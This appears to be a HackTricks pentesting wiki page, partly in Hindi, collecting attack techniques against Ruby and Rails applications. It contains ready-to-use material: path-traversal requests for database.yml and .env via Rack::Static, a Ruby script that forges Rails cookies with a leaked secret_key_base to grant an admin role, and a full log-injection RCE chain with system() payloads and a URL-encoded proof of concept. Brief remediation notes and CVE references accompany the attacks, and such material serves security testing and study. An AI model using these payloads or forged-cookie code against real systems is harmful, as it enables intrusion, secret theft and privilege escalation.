Ruby Tricks
Reading time: 9 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
File upload to RCE
As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.
Tips:
- Other boot/eager-load locations that are executed on app start are also risky when writeable (e.g.,
config/initializers/is the classic one). If you find an arbitrary file upload that lands anywhere underconfig/and is later evaluated/required, you may obtain RCE at boot. - Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.
Active Storage image transformation → command execution (CVE-2025-24293)
जब कोई एप्लिकेशन Active Storage के साथ image_processing + mini_magick उपयोग करता है, और untrusted parameters को image transformation methods को पास किया जाता है, तो Rails के वो वर्शन जो 7.1.5.2 / 7.2.2.2 / 8.0.2.1 से पहले हैं, command injection की अनुमति दे सकते हैं क्योंकि कुछ transformation methods गलती से डिफ़ॉल्ट रूप से allow कर दिए गए थे।
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t] and/or params[:v] are attacker-controlled.
-
What to try during testing
-
Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
-
Fuzz
params[:t]andparams[:v]for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host. -
If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
-
Remediation/detections
-
If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage +
image_processing+mini_magickand user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
Rack::Static LFI / path traversal (CVE-2025-27610)
यदि target stack सीधे या frameworks के माध्यम से Rack middleware का उपयोग करता है, तो rack के 2.2.13, 3.0.14, और 3.1.12 से पहले के वर्शन Rack::Static के माध्यम से Local File Inclusion की अनुमति देते हैं जब :root unset/misconfigured हो। PATH_INFO में encoded traversal प्रोसेस वर्किंग डायरेक्टरी या किसी अनपेक्षित root के अंतर्गत फ़ाइलों को उजागर कर सकता है।
- Hunt for apps that mount
Rack::Staticinconfig.ruor middleware stacks. Try encoded traversals against static paths, for example:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Adjust the prefix to match configured urls:. If the app responds with file contents, you likely have LFI to anything under the resolved :root.
- Mitigation: upgrade Rack; ensure
:rootonly points to a directory of public files and is explicitly set.
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails cookies को secret_key_base से derive किए गए keys का उपयोग करके encrypt और sign करता है। अगर वह value leak हो जाती है (उदा., repo, logs, या misconfigured credentials में), तो आप आमतौर पर cookies को decrypt, modify, और re-encrypt कर सकते हैं। यह अक्सर authz bypass में बदल जाता है अगर एप्लिकेशन cookies में roles, user IDs, या feature flags स्टोर करता है।
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
नोट:
- Older apps may use AES-256-CBC and salts
encrypted cookie/signed encrypted cookie, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly. - On compromise/assessment, rotate
secret_key_baseto invalidate all existing cookies.
देखें (Ruby/Rails-specific vulns)
- Ruby deserialization और class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling
जब कोई ऐप (अक्सर एक सरल Rack/Sinatra/Rails endpoint) दोनों:
- एक उपयोगकर्ता-नियंत्रित स्ट्रिंग को सटीक रूप में लॉग करता है, और
- बाद में उसी स्ट्रिंग से व्युत्पन्न पाथ वाली फ़ाइल को
loadकरता है (बाद मेंPathname#cleanpathके बाद),
तो आप अक्सर लॉग को poison करके और फिर ऐप को लॉग फ़ाइल को load करने के लिए मजबूर करके remote code execution हासिल कर सकते हैं। प्रमुख primitives:
- Ruby
loadलक्षित फ़ाइल की सामग्री को फ़ाइल एक्सटेंशन की परवाह किए बिना Ruby के रूप में evaluate कर देता है। कोई भी पढ़ने योग्य टेक्स्ट फ़ाइल जिसकी सामग्री Ruby के रूप में parse हो सके, execute हो जाएगी। Pathname#cleanpath.और..segments को filesystem से संपर्क किए बिना collapse कर देता है, जिससे path smuggling सक्षम होता है: attacker-controlled junk को लॉगिंग के लिएprepend किया जा सकता है जबकि cleaned path अब भी उस इच्छित फ़ाइल पर resolve होता है जिसे execute करना है (उदा.,../logs/error.log)।
Minimal vulnerable pattern
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
क्यों लॉग में वैध Ruby हो सकती है
Logger इस तरह के prefix lines लिखता है:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
Ruby में, # एक comment शुरू करता है और 9/2/2025 बस arithmetic है। वैध Ruby code इंजेक्ट करने के लिए आपको:
- अपने payload की शुरुआत नई लाइन पर करें ताकि यह INFO line में
#द्वारा comment न हो; एक leading newline भेजें (\nया%0A)। - INFO line द्वारा प्रस्तुत dangling
[को बंद करें। एक common trick यह है कि शुरुआत]से करें और वैकल्पिक रूप से parser को खुश करने के लिए][0]=1इस्तेमाल करें। - फिर arbitrary Ruby रखें (उदा.,
system(...))।
Example of what will end up in the log after one request with a crafted param:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
ऐसी एक ही स्ट्रिंग छिपाना जो कोड को लॉग भी करे और लॉग पाथ पर भी resolve हो
हमें एक attacker-controlled string चाहिए जो:
- जब raw रूप में लॉग किया जाए तो इसमें हमारा Ruby payload हो, और
- जब इसे
Pathname.new(<input>).cleanpathसे गुज़ारा जाए तो यह../logs/error.logपर resolve हो, ताकि बाद मेंloadउसी अभी-poisoned log file को execute करे।
Pathname#cleanpath schemes को ignore करता है और traversal components को collapse कर देता है, इसलिए निम्नलिखित काम करेगा:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
://से पहले#यह सुनिश्चित करता है कि Ruby लॉग निष्पादित होने पर tail को अनदेखा कर दे, जबकिcleanpathफिर भी suffix को../logs/error.logतक घटा देता है।- प्रारंभिक newline INFO लाइन से बाहर निकलता है;
]dangling bracket को बंद करता है;][0]=1parser को संतुष्ट करता है।
एंड-टू-एंड एक्सप्लॉइटेशन
- बैकअप स्क्रिप्ट नाम के रूप में निम्नलिखित भेजें (यदि आवश्यक हो तो पहले newline को
%0Aके रूप में URL-encode करें):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- एप्लिकेशन आपकी raw string को
logs/error.logमें लॉग करता है। - एप्लिकेशन
cleanpathगणना करता है जो../logs/error.logतक resolve होता है और उस परloadकॉल करता है। - Ruby लॉग में आपने जो कोड इंजेक्ट किया है उसे निष्पादित करता है।
CTF-जैसे वातावरण में किसी फ़ाइल को exfiltrate करने के लिए:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (पहला कैरेक्टर newline है):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
संदर्भ
- Rails सुरक्षा घोषणा: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub एडवाइज़री: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath docs
- Ruby Logger
- How Ruby load works
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks